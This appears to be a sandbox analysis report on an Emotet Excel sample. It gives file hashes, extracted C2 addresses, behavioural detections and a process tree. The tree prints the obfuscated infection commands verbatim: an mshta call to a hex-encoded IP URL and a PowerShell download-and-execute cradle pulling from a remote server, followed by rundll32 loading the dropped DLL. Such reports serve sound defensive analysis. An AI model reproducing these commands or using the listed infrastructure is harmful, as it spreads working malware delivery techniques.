emotet | 23f0ae606deef9f7a427cd182c8fa76a2f82cb0265215bb9f90e67e2e01689f1

General

Target

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
Size

71KB
MD5

21fc12ef8a4a4ba5b38a303fa7e70c08
SHA1

5700a2231371b289eae19ce62e1a73457ee582c4
SHA256

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5
SHA512

8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1876	2448	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 4 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow	pid	Process
28	3888	mshta.exe
38	436	powershell.exe
40	436	powershell.exe
45	3720	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid	Process
2528	rundll32.exe
368	rundll32.exe

Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Xglcriyto\brmcau.xdo	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

Processes:

WerFault.exe

pid	pid_target	Process	procid_target
2324	3888	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
2448	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	Process
436	powershell.exe
436	powershell.exe
2324	WerFault.exe
2324	WerFault.exe
2324	WerFault.exe
2324	WerFault.exe
2324	WerFault.exe
2324	WerFault.exe
2324	WerFault.exe
2324	WerFault.exe
2324	WerFault.exe
2324	WerFault.exe
2324	WerFault.exe
2324	WerFault.exe
2324	WerFault.exe
2324	WerFault.exe
436	powershell.exe
3720	rundll32.exe
3720	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description	pid	Process
Token: SeDebugPrivilege	436	powershell.exe
Token: SeDebugPrivilege	2324	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	Process
2448	EXCEL.EXE
2448	EXCEL.EXE
2448	EXCEL.EXE
2448	EXCEL.EXE
2448	EXCEL.EXE
2448	EXCEL.EXE
2448	EXCEL.EXE
2448	EXCEL.EXE
2448	EXCEL.EXE
2448	EXCEL.EXE
2448	EXCEL.EXE
2448	EXCEL.EXE
2448	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	Process	procid_target
PID 2448 wrote to memory of 1876	2448	EXCEL.EXE	72
PID 2448 wrote to memory of 1876	2448	EXCEL.EXE	72
PID 1876 wrote to memory of 3888	1876	cmd.exe	74
PID 1876 wrote to memory of 3888	1876	cmd.exe	74
PID 3888 wrote to memory of 436	3888	mshta.exe	76
PID 3888 wrote to memory of 436	3888	mshta.exe	76
PID 436 wrote to memory of 608	436	powershell.exe	79
PID 436 wrote to memory of 608	436	powershell.exe	79
PID 608 wrote to memory of 2528	608	cmd.exe	80
PID 608 wrote to memory of 2528	608	cmd.exe	80
PID 608 wrote to memory of 2528	608	cmd.exe	80
PID 2528 wrote to memory of 368	2528	rundll32.exe	81
PID 2528 wrote to memory of 368	2528	rundll32.exe	81
PID 2528 wrote to memory of 368	2528	rundll32.exe	81
PID 368 wrote to memory of 1384	368	rundll32.exe	82
PID 368 wrote to memory of 1384	368	rundll32.exe	82
PID 368 wrote to memory of 1384	368	rundll32.exe	82
PID 1384 wrote to memory of 3720	1384	rundll32.exe	83
PID 1384 wrote to memory of 3720	1384	rundll32.exe	83
PID 1384 wrote to memory of 3720	1384	rundll32.exe	83

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2448
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1876
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3888
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:436
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:608
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2528
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:368
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xglcriyto\brmcau.xdo",NExzJ
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1384
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Xglcriyto\brmcau.xdo",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3720
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3888 -s 1668
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2324

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Public\Documents\ssd.dll

MD5
5fc018538b34e891e67d7ccd6a6f5169

SHA1
f23a6451bdaf70ae014a4286b12e28f265bfe52d

SHA256
8187fdab6cf2ae48adace0a38973b64d2164aeddd5ee27eca0c55f5f8683bfaf

SHA512
066bf4475e852212bc2e7b24b38afbc42d49b8bbb00b6b69ec9845a9da5751e17fd961358daba946a24a5d61760fd32e0e7aff4c38c9f6297753ed2fe7a92301

Download Submit
\Users\Public\Documents\ssd.dll

MD5
5fc018538b34e891e67d7ccd6a6f5169

SHA1
f23a6451bdaf70ae014a4286b12e28f265bfe52d

SHA256
8187fdab6cf2ae48adace0a38973b64d2164aeddd5ee27eca0c55f5f8683bfaf

SHA512
066bf4475e852212bc2e7b24b38afbc42d49b8bbb00b6b69ec9845a9da5751e17fd961358daba946a24a5d61760fd32e0e7aff4c38c9f6297753ed2fe7a92301

Download Submit
\Users\Public\Documents\ssd.dll

MD5
5fc018538b34e891e67d7ccd6a6f5169

SHA1
f23a6451bdaf70ae014a4286b12e28f265bfe52d

SHA256
8187fdab6cf2ae48adace0a38973b64d2164aeddd5ee27eca0c55f5f8683bfaf

SHA512
066bf4475e852212bc2e7b24b38afbc42d49b8bbb00b6b69ec9845a9da5751e17fd961358daba946a24a5d61760fd32e0e7aff4c38c9f6297753ed2fe7a92301

Download Submit
memory/368-345-0x0000000004960000-0x0000000004986000-memory.dmp

Filesize
152KB

Download
memory/368-341-0x0000000004800000-0x0000000004826000-memory.dmp

Filesize
152KB

Download
memory/368-339-0x00000000047A0000-0x00000000047C6000-memory.dmp

Filesize
152KB

Download
memory/368-337-0x0000000004600000-0x0000000004626000-memory.dmp

Filesize
152KB

Download
memory/368-332-0x0000000000620000-0x0000000000646000-memory.dmp

Filesize
152KB

Download
memory/436-273-0x0000022692040000-0x0000022692062000-memory.dmp

Filesize
136KB

Download
memory/436-287-0x0000022692103000-0x0000022692105000-memory.dmp

Filesize
8KB

Download
memory/436-299-0x0000022692110000-0x000002269214C000-memory.dmp

Filesize
240KB

Download
memory/436-313-0x00000226AA830000-0x00000226AA8A6000-memory.dmp

Filesize
472KB

Download
memory/436-318-0x0000022692106000-0x0000022692108000-memory.dmp

Filesize
8KB

Download
memory/436-286-0x0000022692100000-0x0000022692102000-memory.dmp

Filesize
8KB

Download
memory/1384-342-0x00000000009B0000-0x00000000009D6000-memory.dmp

Filesize
152KB

Download
memory/2448-118-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download
memory/2448-382-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download
memory/2448-128-0x00007FFDFE4D0000-0x00007FFDFE4E0000-memory.dmp

Filesize
64KB

Download
memory/2448-119-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download
memory/2448-385-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download
memory/2448-117-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download
memory/2448-115-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download
memory/2448-116-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download
memory/2448-384-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download
memory/2448-383-0x00007FFE01550000-0x00007FFE01560000-memory.dmp

Filesize
64KB

Download
memory/2448-129-0x00007FFDFE4D0000-0x00007FFDFE4E0000-memory.dmp

Filesize
64KB

Download
memory/2528-329-0x0000000003380000-0x00000000033A6000-memory.dmp

Filesize
152KB

Download
memory/3720-349-0x0000000005100000-0x0000000005126000-memory.dmp

Filesize
152KB

Download
memory/3720-347-0x0000000004C00000-0x0000000004C26000-memory.dmp

Filesize
152KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads